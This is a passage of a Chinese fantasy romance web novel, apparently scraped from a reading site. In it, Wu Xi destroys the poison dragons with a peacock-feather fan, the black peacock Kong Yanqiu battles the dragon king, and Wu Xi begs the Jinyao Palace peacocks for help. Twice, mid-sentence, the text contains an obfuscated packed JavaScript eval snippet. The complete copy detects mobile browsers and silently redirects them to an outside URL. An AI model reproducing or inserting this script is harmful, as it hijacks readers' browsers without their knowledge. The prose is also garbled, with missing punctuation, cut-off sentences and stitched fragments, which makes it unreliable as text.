那剧毒坚韧的龙筋,当真如汤沃雪,飞速融化,从巫曦手中节节断裂,令他浑身一松。 哼哼哼。 重获自由,巫曦隐蔽地缩在座椅下头,轿撵内部的空间甚是宽大,可以让他鬼鬼祟祟地做上许多事。 他把小包袱转移到胸前,开始一根根地往外掏孔雀翎。 这些全是孔宴秋当时褪下来的旧羽,仍然残存着神光的力量,孔宴秋总说要给他做个小披风,但巫曦觉得可惜,以致攒到了今天。 他掏出一根,毒龙抬着飞奔的轿撵便沉一分,他一面掏,一面用金线缠紧那些饰羽,麻利地做出一把纷披羽扇,调整形状,然后用灵火烧熔金线,作为固定。等到扇子做完,底下抬轿子的小龙全都气喘如牛,只是步履艰难,浑身上下的鳞片像拖在泥沼里,再也飞不起来了。 “怎么回事,一群懒虫!”毒龙王子身边,它的侍卫立刻赶来斥骂,“连一件小小的轿子都抬不动,养你们何用?” “太重了!” “像扛着一座山似的!” “是啊,真重啊!” 小龙叽叽喳喳,连声抱怨,侍卫疑窦顿生,将巨大的龙目凑近了轿撵的纱帘处。 搞什么名堂……? 毒龙从皮到骨,由血至肉,皆是有毒的,也只有孔雀才能消化得了这样的剧毒。要是在长留处置它们,未免殃及池鱼,祸害了无辜性命,在这里动手就刚刚好了。不过,我要怎么产出点动静呢? 坐在轿子里,巫曦正在苦恼,不料刚瞌睡就有人送枕头,他的指尖快速凝出一枚金箭,故技重施,照着毒龙的眼珠子上就是一箭! 侍卫爆发出惊天惨叫,猛地向后仰倒,掀翻了一大片抬轿的小龙,同时也将轿撵一尾掀翻。 巫曦的身影犹如一小片轻飘飘的羽毛,从翻覆的轿子中转出来,揉在粗糙的岩石地上,狼狈地打了五六个滚,才停下来。 “哎哟喂……”他吃痛地按着屁股,毒龙王子蜷身盘绕,惊骇道:“你!” 它双目一转,就在轿子的残骸里看到了几截断裂的龙筋绳索。 “你还有这等本事!它不可思议道,继而喷出一口毒雾,腐蚀了巫曦面前的地板,逼得他步步后退,“你用了什么法子,竟烧瞎了它的眼睛? 巫曦踢开面前腐烂的碎石,信口胡诌道:“黑孔雀给我的法宝,专打龙眼睛,怕不怕? 毒龙们大吃一惊,纷纷后退,毒龙王子骇然道:“世上竟有这样的法宝?! “有啊,巫曦忍着笑,一本正经地道,“可惜,我刚才太害怕,情急之下,已经把它用掉啦。 听到他这么说,毒龙面上顿时多云转晴,紫色的龙瞳转出喜悦的光彩,看得巫曦更加想笑,哎哟,真是一群无脑的蠢蛋。 “那你还敢猖狂!毒龙咆哮道,“小小神人,岂非不知真龙的威严! “你们不会真以为我没留着后手吧?巫曦盯着面前的毒龙,“你不会真觉得,光说两句话,就能吓到我吧? 他的手按在后腰,毒龙王子咧开布满利齿的嘴,十分享受将猎物步步逼入死角的感觉。 “何必逞强,小殿下?在它身后,数头毒龙亦是狰狞毕露,笑容充满恶意,“你终究只是神人,要如何与我们相抗?要怪,就怪那只该死的扁毛畜生吧!若不是他杀了我的兄长,父王才不会应允把你许配给我的事! 在群龙的笑声中,它的喉间鼓起,蓄着一股洪水般的毒液:“不过,你身上的孔雀味儿也太浓了,熏得我很不高兴……在嫁给我之前,先好好地洗个澡,怎么样? 说时迟,那时快,巫曦抽手,便如抽出一把雪亮亮,明晃晃的快刀,蓦然抽出了一面三色错杂,华光辉煌的羽扇! 孔雀的翎羽织成扇面,黑、紫、金相互交叠,扇面上的数十枚灿金色的羽斑,便如数十只杀意妖艳的眼瞳,窥伺着外界的众生。 刹那间,毒龙的尾巴尖都绷直了。 它们浑身上下的鳞片层叠竖起,像熟过了头的松果,在枝头簌簌战栗。毒龙王子的一口毒液噎在嗓子眼儿,直从鼻孔里呛出来,它尖叫道:“孔雀翎! “是啊,巫曦嘿嘿道,“还有三色神光呢。 他毫不留情地挥扇一压,犹如五岳灭顶,在场的毒龙当即被重压得扁了一层,骨裂鳞爆之声不绝于耳,恰似噼啪炸响的节庆烟花。 唯有最大的毒龙王子还能苦苦支撑,眼中溅出黑色的血泪。 那不是真的在哭,而是眼球都被巨大的压力挤爆了,像两颗薄皮的葡萄般清脆开裂。 “第一, ,他叫孔宴秋。 他缓缓走近,用力捏着掌中的羽扇。 “第二,你的兄长不是被杀了,而是被吃了,这两者的结果殊途同归,但是请你记住其中微妙的区别。 “第三。 巫曦站定,仔细端详着它们。 “第三,都说事不过三,见好就收。可第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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我做错了吗?他自省自问。 我到底是哪里做的不对? 巫曦的斥责,悲伤和眼泪,比刀子割肉伤他更重。他不住回想着当时的一幕幕,想起巫曦隐没在暗处,却仍然亮如火光,也痛如火光的含泪眼神——倘若他可以下跪,他一定会跪在他的脚边,向他乞求原谅。 我做错了什么?你为什么要那样看着我? 就像……就像我辜负了你的心,就像我不是天底下最爱你的人一样!你怎么可以那样看着我? 他把巫曦关在他们昔日的爱巢,便逃一般地离开了那里,像一个慌不择路的胆小鬼,不敢再面对神人的质问和泪水。 下方盘旋着几点禽鸟的身影。 孔宴秋实在懒得去管,如今他浑身的力气都像是被抽走了。可是那些小小的雀鸟冒死冲上高天,大嗓门喊出来的话却是:“小殿下不见了!他、他走了!” 孔宴秋豁然站起,眼中闪动着凄厉的神光,他难以置信地道:“你说什么?你再说一遍!” “小殿下走了……”鸟群挤挤挨挨,飘出一些怯怯的杂音,“他,他把一个会说话的玩偶塞在被褥里,已经走了不知道多久了!” 刹那间,孔宴秋展开风雷双翼,便要直冲长留,在他身后,业摩宫妖鸟惶恐地喊道:“尊主,玉京天阙不日就要开启,那些金曜宫的孔雀也准备动身了,尊主!” 孔宴秋停下脚步,下意识回望玉京天阙的方向。 他说的是真的,天门当真是神祇建立的奇迹,即便相隔万里之距,孔宴秋还是能清晰地分辨出那万潮齐聚般恢宏壮丽的景象,以及天际飞舞的一线光芒,绚丽无比,掺杂着绿、蓝、白三种灿烂的颜色。 金曜宫的孔雀终于出山了。 他等这一刻已经等了几百年,几乎是从降生起,他就已经在等了。他在心里数十年如一日地磨着那把刀,直到刀尖雪亮,刀锋也吹毛断发。他怀揣着杀人的利刃,就这么在大荒上徘徊不定,熬过每一个日升月落的昼夜。 他对自己发誓,一定要将这把刀插进金曜宫的心脏,用它割开那些孔雀的咽喉,正如落雪是怎样覆盖大荒的万事万物,孔雀的鲜血便要以相同的姿态覆盖他所有的屈辱,以及痛苦。 数百年的光阴如水流逝,这一刻,他心头的刀刃悄然落地,发出清清的坠响。 “……不重要了。”他低声说。 下属迟疑道:“尊主?” 孔宴秋重复了一遍:“不重要了。” 他张开双翼,最后看了玉京天阙,还有孔雀翱翔的长队一眼,便毅然决然地回头,朝着完全相反的方向飞去。 作者有话要说 【今天去看音乐剧了!来自存稿箱的提示:完结倒计时ing!】 巫曦:*气喘吁吁,烧绳子*我烧,我烧。 毒龙:*得意扬扬,因为它们抓走了黑孔雀的宝贝*哈哈!复仇行动完满落幕! 巫曦:*气喘吁吁,做扇子*我做,我做。 毒龙:*轿子开始变得沉重,把它们像橡皮泥一样压得扁扁的*呃,没关系……复仇行动……依然圆满…… 巫曦:*闪亮登场*啊哈!*挥扇乱打*看招! 毒龙:*奄奄一息*不,复仇行动……*彻底死了* 第 67 章 净琉璃之国(三十五) 第67章净琉璃之国(三十五) 孔宴秋展翅千里,他狂暴地飞向长留,期冀巫曦还在那里,不必受了毒龙的残害…… 身后的大妖拼了命地追赶,如何才能追上?整整两日一夜,黑孔雀变作原形,垂翼于云端,在漫天雪云上划出一道凌厉万分的割口。 长留已经近在眼前,孔雀利眼下瞥,忽然在雪原上看见了一个熟悉的身影。 酸与。 怒火和杀意在他心中沸腾,孔雀一声刺耳尖啼,轰然降落地面,溅起海啸般的雪粉白浪。 酸与的脸也变得如这些雪一样白。 她急忙停下自己驱赶的三辆马车,赶在孔宴秋发难前大声道:“启禀尊主,车上坐的都是殿下的亲故! 孔宴秋阴晴不定地盯着她,几乎是从牙缝里挤出了这个字:“说。 酸与不敢隐瞒,急忙将事情一五一十地告知给孔宴秋:“……就在两日前,我接到了小殿下在宫里的故人,她们说……她们说…… 她支吾了半天,再也说不下去了。 巫曦以自己为条件,交换了这些神人离开长留,自己则坐到了前去毒龙之国的送亲队伍,要嫁给俱时德叉伽的儿子——这样的事,除非是不想活,或者是想用最凄惨的方式离开人间了,否则怎么好告诉眼前的黑孔雀! 孔宴秋见她闪烁其词,更是心头冒火,他想动用毒火,但如她所说,车里装载的也确实是一些惊惶失措的神人。 他如刀的目光剐过酸与,以及她身后的小小马车,一种更苦涩的心绪蔓延上来,与暴烈的怒火杂糅在一块,使他的心直往下坠。 巫曦的亲故,如何轮得到别的鸟去接送!他当真恼了我,要和我生分了吗? 时间紧迫,他顾不得逼问,再次展翼直飞,扑向长留的守生大阵。 文彩不祥的尾翎一振抖开,神光铺天盖地的一刷,与守生大阵相互交击,发出擎天巨响! 大阵好似被雷霆击中的海面,汇聚着波涛汹涌的金色狂潮。这一声响,一潮开,引得长留境内的国民纷纷走出家门,好奇而恐惧地望着头顶。 长留人确实与别国的神人不同,若换了另一个国家,那里的人早就乱作一团,忙不迭地携家小逃命了,哪能像这样,先把脑袋支出来看天? 挨了黑孔雀倾尽全力的一下,大阵仍然完好无损,没有受到一丝消耗,但孔宴秋也不是为了攻破守生大阵才来的。他这一下,不过是为了引起全部人的注意, 宣告自己的到来。 “巫曦在哪儿?黑孔雀嘶哑的啼鸣响彻全境,“把他交出来!否则我让长留周边千里化作不毛之地,困死阵中,看你们能支撑到几时! 正值晌午,长留王宫早就乱作一团。 新王被自己的王弟打成了一堆会呼吸的肉,而王弟眨眼间就被牢牢捆起来,让“亲家 巫天汉登基之后,议论他得位不正,先王走得古怪的那些公卿宗室,竟一个个死得不见影子。他铲除异己的手段如此无情,加之后来时不时就有侍女护卫失踪,宫苑中黑气冲天,早有人议论,说他为了一己私欲,竟勾结妖魔。 如今,猜想都成为实证,收拾烂摊子还来不及,谁能应付得了外头那只来势汹汹的黑孔雀? 没奈何,只好推出巫曦的另一个兄长,战战兢兢地爬上城墙,与孔宴秋对话。 “巫曦……巫曦已经走了!面对阵外凶神恶煞的孔雀,遮天蔽日的鸟群,他委实吓了个半死,只是靠着守生,还能平安无事地站着,“他、不,都是王兄……都是巫天汉的错!他和毒龙之国勾结,早就收下聘礼,将巫曦嫁给了毒、毒…… 最后那个“龙字,无论如何也说不出口。 黑孔雀的神情已经变得又狠辣,又毒烈!暗金色的鸟瞳燃烧着黑紫的毒火,他发出的声音可怖至极,沉沉地淹没大地。 “……你说什么? 哪怕隔着守生,男人亦是魂飞魄散,软倒在地:“是真的、是真的!不敢欺瞒大王! 说着,他急急忙忙地掏出采纳的聘书,再命人抬上那些聘礼,救命稻草般呈给黑孔雀看:“这都是佐证,大王明鉴啊!巫天汉祸乱朝纲,勾结毒龙,已经被王弟打得半死不活,但为了国中百姓的安危,王弟舍生取义,置生死于度外,答应和那些毒龙一起离开。身为兄长,实在涕泣难止,悲痛不可抑…… 为了讨好对方,他将一箩筐的坏话丢在巫天汉身上,一箩筐的好话叠在巫曦身上,可孔宴秋已经听不到他的话。 他已经听不到任何声音。 巫曦,孩子似的巫曦,成天快活,没有一丝烦恼忧愁,水晶一样剔透的巫曦……他的巫曦,已经被毒龙带走了。 他会吃多少苦,流多少血?他那么小,窝在自己心上的时候,就像一片又轻又暖的羽毛。 他就是我的心,我的肉…… 黑孔雀痛得浑身哆嗦,他埋下长长的 颈子不住颤抖。 绝端的痛苦过后就是绝端的暴怒。 他再没有说一个字腾空飞起扑向天边。那里正以极快的速度涌来大片密布的黑云。 黑云中俱时龙王凄声咆哮:“小畜生还我儿命来!” 它的规划本该举无遗策它的诡计本该万无一失。 实际上也的确如此它将对手的性格看得无比透彻它引导的矛盾也确实在这对情人中间产生了不可忽视的裂痕但它唯独漏算了一点那就是巫曦。 孔宴秋当然是有能力杀死它的任意一个孩子的可巫曦有没有这种能力呢? 这个问题的答案它倾向于“绝不可能”。巫曦再怎么有天分在大荒失去登神之路的当下神人只能作为猎物当不了捕猎者。 因此在第二个孩子死去的瞬间俱时德叉伽便有所感应并且如遭雷击。 毒龙曾被孔雀吃到绝种 几乎是一瞬间它便锁定了凶手认定这是黑孔雀的所作所为。 仇人相见分外眼红。 滔天的狂怒中黑孔雀与赶来寻仇的俱时龙王猛烈相撞天崩地裂的一击犹如十万个雷霆在空中粲然盛放! 另一头巫曦还在隧道里跋涉。 毒龙真是比钻地的蚯蚓还要敬业将地底隧道修建的长不见底他走得腿都疼了也看不见出口在哪。 “哎我真的服了——” 巫曦叫苦连连这时候他是真有点后悔方才应该留下一条小龙强迫它载着自己飞出去而不是一股脑地杀个磬尽这会儿只能靠两条腿赶路。 他走一阵歇一阵甚至动过心思干脆拿这个孔雀羽扇对着自己挥一挥说不定一下就弹飞出去了呢? “累不死我啊——” 巫曦一边走一边气哼哼地迁怒孔宴秋又将情郎“坏鸟”“臭鸟”地骂个不住。 还关我禁闭?我几拳就打得巫天汉满脸开花这些毒龙也是我的手下败将现在看看谁才是最厉害的神人? 巫曦心里鼓着一口气他的脑海里同时翻腾出了更多幻象。 譬如孔宴秋哇哇大哭着认错然后端茶倒水捏肩捶背地说巫曦大人才是最厉害的届时他就趾高气昂地问那你有什么表示没有?然后 孔宴秋就会羞涩地说此等弥天大错不知要如何补偿小的再也不敢了小的愿以身相许……哼哼哼哈哈哈! 他正在得意地大笑冷不防顶上传来一阵摇撼的巨响四面八方都颤抖着轰鸣似乎有什么大地难以承受的灾难就在他的头顶发生。 巫曦顿时惊慌失措。 不对!这是地震了还是我刚刚的狂想太邪恶受到了老天的谴责? 他马上要拔腿开跑前方的隧道已然一截一截地坍塌、缩陷像一条过于酥脆的空心饼干被无形的巨力压得合并在一起。 巫曦的魂儿都要飞了他抽出羽扇聚精会神狠狠向前一挥! 三色神光喷薄而出与坍塌的地道相抵陡然爆发出巨大的冲击波沙石滚滚尘烟混合着碎石四溅给巫曦冲地当头飞了出去。 他立刻爬起来“呸呸呸”地吐掉嘴里的沙子再接再厉挥扇前击巫曦利用坚不可摧的神光以及交错折叠的地面硬是在塌陷的地道上顶出一个空间往上爬了近百米才爬出毒龙修建的这条隧道重返人间。 “天啊……” 巫曦迅速低头避过呼啸而来的一块巨石简直惊呆了。 ——天空完全是一片永夜般的漆黑除了浓浓的血腥味雪原更是翻涌着无尽腥苦的毒雾云层中闪电怒号地平线上龙影幢幢闪着黑紫色的火光。 立在茫茫的雪原当中巫曦宛如一盏小小的明灯散发着徒劳的微光。 到处都是尖啸的啼叫毒龙的怒吼借着雷电 酸与简直不敢相信自己的三双眼睛。 “小殿下?!”她盘旋高空竭力呼喊道“是你吗?” “我在这儿啊!”巫曦蹦哒上来一边跳一边将身上的灰土沙石拍掉“我在这儿!” 酸与快要昏过去了她尖叫道:“您怎么在这儿!” “不然我还能在哪儿?”巫曦道“我已经把那几头毒龙杀了首战告捷!我阿嬷她们呢?” “她们已经转移到安全的地方了……” “好吧!那孔宴秋呢?这是怎么回事?” 提起那只坏鸟巫曦心里还憋着气不过伴随着他将巫天汉打成一坨扇死所谓的毒龙王子包括那些不知所谓的小跟班之后他心中的怒气早已消散大半郁结的情绪同时缓解了许多。 孔宴秋的猜测没错长留确实有毒龙作乱 巫天汉也确实是狼心狗肺的人渣可他隐瞒我那么多还关我禁闭这就是不对的!待我狠狠地拔掉他几根尾巴毛…… “尊主已经去杀俱时龙王了!”酸与崩溃地喊道一下打乱了巫曦的思绪“他、长留的人说你已经被送去与俱时龙王的儿子成亲他们拿出的凭证三书六礼一应俱全……” “我是被送去了但我又打回来了啊!”巫曦也急了“什么狗屁毒龙王子我直接一扇子……不是他是不是忘了我手上还有他的尾巴毛了!” 酸与看起来很想昏过去然而她强撑着忍住了她真的是一个坚忍不拔的鸟妖。 “完了”她喃喃道“俱时德叉伽已是不知寿数几何的老龙尊主虽然天赋异禀可是怎么能打得过……就是淹也被那些龙子龙孙淹死了!” 巫曦知道事态严重他急忙道:“快带我去找他一定还来得及!” 酸与心里已经有了不妙的预感但她什么都没说托着巫曦展开四翼避过空中不断坠落的龙尸鸟尸向着那片风云之地飞去。 乘在酸与的脖子上巫曦一眼便看到了孔宴秋的身影。 俱时龙王的体型通天彻地这巨大的毒龙庞然了上万年的岁月又岂是一只年轻的孔雀能单枪匹马对付的?黑紫色的火海恍若燃尽世间的云霞但烧在俱时龙王身上也像云霞一样稀薄而无力。 龙王的咆哮响彻寰宇圆睁星球般硕大的龙目。它长似山峰的巨齿上流动着浓如溪河的黑血身上的鳞片不住张合每一片龙鳞翕动便刮起一阵凛冽的飓风。 它挥击龙爪试图攫住那只灵巧翱翔不住在它身上制造细小伤口的孔雀。双方的体型对比简直就像一个成年人试图用双手抓住一只迅猛的雨燕。 黑孔雀已然羽翅残缺浑身是血。 哪怕是对战争一窍不通的人也能看得出来再这样耗下去 巫曦发抖地抓住酸与的绒毛。 他知道自己来不及了。 “过不去了!”酸与在狂风中大喊勉强稳住身形却被浓烈有如实质的毒雾呛地连连干呕即便是她这样的大妖也无法插手进这种级别的战场“没办法……没办法进去!” 出乎意料的是巫曦还能支撑。 他点燃灵火就像一片小小的净化源毒雾在他周身飞速消融巫曦错眼一转忽然大声道:“那是什么?” 酸与定睛一看登时哑然。 更高更高的天穹差不多是 抵达了“仙境”高度的云端上正徜徉着一片璀璨的霞光。金蓝、翠碧与灿白交相辉映实在美不胜收。 这一刻修罗火狱和仙宫天界的分割线是如此明显她沉默了好一阵才道: “那是孔雀金曜宫的孔雀。” 几乎在孔宴秋与俱时龙王搏杀的同一时间玉京天阙洞开幼小孔雀的试炼正式开始。 金曜宫的孔雀来到此处本来是为了亲眼见证试炼的结果但另一边孔宴秋与俱时龙王的殊死搏斗竟引得他们不停向前站在云端遥遥地驻足观看。 “俱时德叉伽”当中一只绿孔雀不可置信地道 “奇了……”另一只蓝孔雀道“那孽种再怎么神通广大毒龙王也不是他能挑衅的对手。先前看他安分了一段时日还以为他知晓苦海无边已经回头是岸了不成想还是这般狂妄荒唐。” 站在他们上首一只姿容绝丽的白孔雀一槌定音:“他一定会输。” 这是真的对比龙王遮天蔽日的身形现出原形的黑孔雀便如一只夜蛾狂怒地扑向焚身烈火也不管那是不是无法回头的末路。 他看起来已经疯了或者彻底不要命了。 “咦”就在这时一只孔雀敏锐地注意到下方她扬声道“你们看那是什么?” 旁边的孔雀冷笑:“小小酸与也敢来冒犯孔雀神威么?” 他刚一架起五色神光先前的同伴就按住了他的手:“等等!你看它身上还骑着一个人。” 闻言耸立高天的孔雀们纷纷转头将目光投向那只渺小的酸与以及骑在它脖颈上的更加渺小的神人。 巫曦从来没有见过这么多漂亮的人或者说孔雀。 孔宴秋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13481952|130309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的容貌已是万中无一的光彩照人俊美无俦但比起他过于妖异的气质这些大孔雀们便显得更“正”。那股或凛然或雍容或风流的气质衬着他们华光丽质冰雪塑成的眉眼简直闪得人挪不开眼又不得正视。 犹如群芳盛宴数十名浣雪餐霞的天仙站在一块齐刷刷地朝你看过来——这真是做梦才能不这真是做梦都梦不到的场景! 但巫曦毫不畏惧孔雀们的摄人风采更不觉得怯场。 孔雀以神光铺地高傲地顾盼云端酸与只是稍微靠近便觉得浑身上下的羽毛都要竖起来了可巫曦居然完全不在意地从她脖子上跳下去径直跑向那些眼高于顶的大孔雀。 他的鞋子踩在神光上发 出“哒哒哒”的清脆声响。 孔雀们全都惊奇地望着他。 巫曦跑到跟前,抬头望着许多孔雀的眼睛,大声道:“我是巫曦!” 做完简短的自我介绍,他便红着眼睛,恳切地哀求道:“你们都是顶顶厉害的大孔雀,对不对?我求求你们,请你们下去帮帮孔宴秋吧!” 孔雀原本惊讶的神情,在听见这个名字之后,也陡然变得冷硬了。 他们一言不发地注视着巫曦,巫曦心急如焚,转着圈地央告:“我知道你们不是坏人,神佛退隐之后,你们还肯出来围剿为祸大荒的毒龙,不管是嘴馋也好,主持正义也罢,君子问迹不问心,我觉得你们不坏的!求你们帮帮忙,好不好?” 他急得快要哭了,其中一个孔雀垂下眼睛,轻描淡写地道:“小孩子总是天真不懂事,把世上的事都想得太简单,太美好。” “我们为什么要帮他?他业心太炽,杀戮成性,倘若今天在那下面的是我们,难道他也会救么?” “他不知死活地去挑战俱时德叉伽,又与我们何干?他倒是恨我们入骨,恨不得剥我们的皮,吃我们的肉。” 孔雀你一言,我一语,讥讽的话语如同雾气,团团地包裹着巫曦的身体,令他窒息,令他说不出话。 “可是……可是是你们抛弃了他!”好半天过去,巫曦才找回自己的声音,“他还那么小,你们就把他从金曜宫丢下大荒,他追寻你们多年,也不过是为了一个答案而已!为什么?你们为什么要这么做?” 面对他的追问,最年长的孔雀缓步踏出队列。 他美得不可方物,一切倾国倾城的传说落在他头上,非但不是夸耀,反倒是令他风姿蒙尘的诬告。可他口中吐出的声音,冷过巫曦经受的任何一场暴雪。 “看在你心性至纯的份上,我不治你的罪。”他说,“退下吧,那孽种的事,金曜宫的事,都与你无关。” 巫曦的大眼睛蓄满泪水,他深深地呼吸,没有后退,而是一撩衣摆,膝盖与铺地的神光交接,发出先后两道声响。 他跪下来,哽咽道:“已经没有人再可以救他了……他难道不是金曜宫出生的孔雀,金曜宫的孩子吗?我求求你们,只要你们肯救他,前尘往事一笔勾销,他再不会与你们为敌,甚至不会出现在你们面前!我发誓,我发誓!求你们……求你们救他!” 说完,他毅然决然地连连叩首,直将前额磕得红肿不堪。 旁边的孔雀忽然道:“他跟你是什么关系?” “他爱我,” 巫曦说,“我也爱他。如果他死了,我也活不成。” 孔雀沉默良久。 “痴心可悯。”半晌,最年长的孔雀说,“可惜,不是我们不救,而是这孽种最好还是死了最佳。” 他沉声道:“漫天神佛远逝,大荒登神之路亦是断绝,灵气稀薄的时代过去了,接下来便将是群魔乱舞,业孽横生的末法时代。你究竟知不知道他的根底?他生来五感混沌,阴魔缠身,连伴生的灵火都是五蕴阴火——魔罗转世,他极有可能就是那只会揭开末法时代序幕的天魔!” “你觉得是我们危言耸听吗?自打出生,他便将亲生父母烧得皮肉溃烂,险些遭遇杀身之祸。”另一只孔雀冷笑道。“虽然不知道这孽障是如何爱上一个神人的,但你和他在一块,迟早要受五蕴阴火烧灼而死。” 又有旁侧的孔雀道:“这么多年,我们只是对他不闻不问,而不是下手击杀,甚至由得他一次又一次地侵扰金曜宫,已经仁至义尽,做足了当长辈的义务! “他确实想过入魔,但那是受了你们的刺激!”巫曦大声辩解,“马上他自己就清醒过来,他说不愿被你们的言语影响……孔宴秋不是天魔,他不是!” “有了入魔的念头,还不算魔障?”孔雀讥讽地反问,“如今他能与俱时德叉伽同归于尽,就算双双除害,阿弥陀佛了!你还是回去吧,权当自己猪油蒙心,爱错了对象。” “一介神人,他倒有勇气。” “许是为美色所惑,并不算真心……” “年少爱慕,又能坚持多久?不出几年,他就能忘记那孽种了。” 那些嘈杂的言语包裹着巫曦的耳朵,使他有口难辩,无数反驳,只是堆在喉头。 他想说孔宴秋已经好了,是我治好了他的五感,他不可能是天魔,我没有撒谎,我是真心地待他,他亦是真心地待我,你们为什么要对他如此刻薄,有那么多的偏见,连一句话都不听他的辩解,他也是你们的孩子,难道你们当真忍心,眼睁睁地看着他战死…… 千头万绪,千言万语,终究只汇聚成一句。 ——还好是我听到了这些话,还好还好,你们是对我说的这些话。我能承受,我总能承受。 他颤声问:“你们……你们一定要他死?” “两败俱伤,对吾等是最好的结果。” 巫曦已经哭了。 他的双眼一片模糊,气苦至极,悲愤至极,汹涌的金火在他体内熊熊燃烧,竟将他的胸膛烧出一片半透明的金色,犹如万世不竭的炉膛,酝酿着创世的火焰。 他痛哭失声,跪在地上,双肩挛缩,身体深深地弯了下去。 “我恨你们……” 那只最年长的孔雀蓦地愣住了。 他情不自禁地向前一步,惊疑不定地喃喃道:“药师佛?” “……我恨你们。” 巫曦抬起眼睛,他的瞳孔同时燃烧着遥远的金色,这神人少年的声音,竟陡然变得威严浩瀚,犹如浩荡古钟,震响了蛮荒大地,威仪穹宇。 “——我恨你们!你们的罪果是永远不可能消除的,我恨你们!” 这有如律令裁决般的话语,使得在场的孔雀心魂大震,齐齐发颤,年长孔雀惊骇伸手,挽留道:“等等!” 可是晚了。 那奇特的神人少年猛地从地上跳起来,转身狂奔,瞬间跳下高天,骑在酸与的脖颈上,伴着一阵大风,顷刻不见了踪影。 作者有话要说 第 68 章 净琉璃之国(三十六) 第68章净琉璃之国(三十六) “药师佛?”其他孔雀一并扑上去,此刻,他们顾不得远方玉京天阙的试炼了,盖因方才巫曦的话,便如一个不祥至极,也凶恶至极的谶语,挥之不去地笼罩在他们的心头。 “怎么可能……小小神人,怎么可能会是药师佛?” 一只孔雀讪讪地笑,但他的表情十分勉强,他的调笑,也没能缓解一丝紧张的氛围。 “他姓巫,可见出身长留国,长留的神人都是帝少昊的后裔,”旁边的白孔雀急促道,“如何出现佛陀化身?” “您会不会看错了?”蓝孔雀悄声问,“他的神采的确有奇异之处,而他的灵火……” 她停下来,又想起方才那仿佛能燃净万物的金色火焰,一股更加不安的阴影,席卷上了孔雀的眼底。 ……是了,那样的火焰,的确是与众不同的。 “且看他要做什么!”年长的孔雀仓皇地扑在云端。 有生以来,这是他第二次如此惊慌,几乎失了大孔雀的分寸,而第一次,还是他看到破壳出世的孔宴秋时。 下方,黑孔雀和老龙王的战斗似乎也接近尾声。 都说姜还是老的辣,何况是一头万年寿数,决心要不死不休的龙王?它巨口中吐出的每一个字,俱是凡人无法理解的狂暴与凶猛。 它的牙齿中除了漆黑的鲜血,更流淌着跳跃的雷霆。五蕴阴火焚烧着它的恶毒、野望和雄心,也将它的血肉不断焚烧。但很可惜,都是徒劳,就像眼镜蛇的毒素能轻而易举地导致一个人的死亡,却无法毒死一头大象一样。 黑孔雀的业火是天底下活物的克星,但它能不能克到面前的这头老龙呢? 答案在这时揭晓了。 鲜血完全淹没孔宴秋的双眼,他几乎看不清东西了,全身伤痕累累。孔雀的冠羽早已被粘稠的龙血浇透,淋漓地贴在颈子上。 神光纵横挥出,却很难抵御住滚滚翻涌的漆黑毒云,他双翼上的风雷云纹被另一道闪电从正中劈开,脊梁血染斑斑,翻卷着狰狞的裂口,他折转到哪,哪里就挥洒着一阵凄厉赤雨。 生死攸关的时刻,他本该汇聚全部的心神,思索如何从俱时龙王的利爪下飞脱,但他的力气就像掌中所攥的流沙一般消逝,驾驭神光的尾翎,也被沉重的鲜血打湿。 他真的很后悔。 在那个时候,他实在不该那么大声地对巫曦说话,不该用那么刻薄的声音,刻薄的语气与他争 辩,惹得他流泪大哭……但没办法啊,少年人总是容易气性上头。倘若那日的争吵,就是他们此生相会的最后一天,他又怎么忍心让它变得满是遗憾,满是泪水? 你要等我,孔宴秋在心中低语,你一定,一定要等我…… 巫曦乘在酸与身上,冒死冲进了孔雀和毒龙的战场,就像天地间点燃了金色的明灯,灵火已经不在他的手中闪耀了,而是在他的胸口燃烧。 “孔宴秋! 他的视线里,无边的毒云笼罩了黑孔雀的身形,俱时德叉伽张开血盆巨口,冲那团云中当头咬下! 巫曦发狂大喊:“孔宴秋——! 俱时龙王仰起头颅,做出非常明显的,差不多是挑衅的下咽动作,它的长笑犹如滚滚雷霆,在天地间轰鸣炸响。巫曦泪水迸散,怒吼道:“飞过去!就算是死,我也要和他死在一块儿! 老龙慢悠悠地扭头,笑声犹自在它喉间响个不住,但是看到地平线上飞来的酸与,以及酸与身上载着的一团金光,它却忽然沉下龙目,显出戒备的神色。 与此同时,长空上的孔雀也在密切关注这场战争。其中一只道:“那孽种……就这么没了? “别太早下定论,身侧的孔雀道,“他的命很硬,你我都知道这一点。 一只蓝孔雀猛地惊呼:“快看那边! 战场下方,俱时龙王不再笑了。 仿佛要与巫曦遥相呼应,它的心口处,也渐渐鼓起一个发出黑紫光亮的肿块,似乎酝酿了一个飞速生长的活火山。俱时德叉伽狰狞地按住那里,试图遏制火山的长势,可是如何抑制得住? 四海长鸣,龙王爆发出惊天动地的哀嚎,它的心口处悍然破开一蓬黑紫色的霞彩,仿佛绝世的刀光,五蕴阴火瞬间贯穿了龙心,带起长虹般喷薄的浓烈黑血! 伴随爆发的血海,黑孔雀也一头扎出俱时龙王的身体,拖曳着血色淋漓的弧线,重重坠落在大地之上。 不需要巫曦的指示,酸与立刻展翼滑翔,朝孔宴秋的方向飞去。 巫曦仓皇地跳到地上,几乎是滚到了那只垂死的黑孔雀身边。它小山一样的身躯遍体鳞伤,已经浸透了鲜血,一半是龙血,一半是他自己的血。 说到底,孔宴秋还太年轻,俱时德叉伽的血液之剧毒,根本不是他能消解的。 “孔宴秋!巫曦扑在他旁边,吃力地抬起那颗沉重的鸟头,不顾一切地抱在怀里,他想擦干上面的湿痕,让灿烂的冠羽重新恢复旧日的光 彩,可是孔雀流下来的血实在无法断绝,他怎么擦也擦不完,怎么擦都擦不干净,巫曦忍不住就哭了。 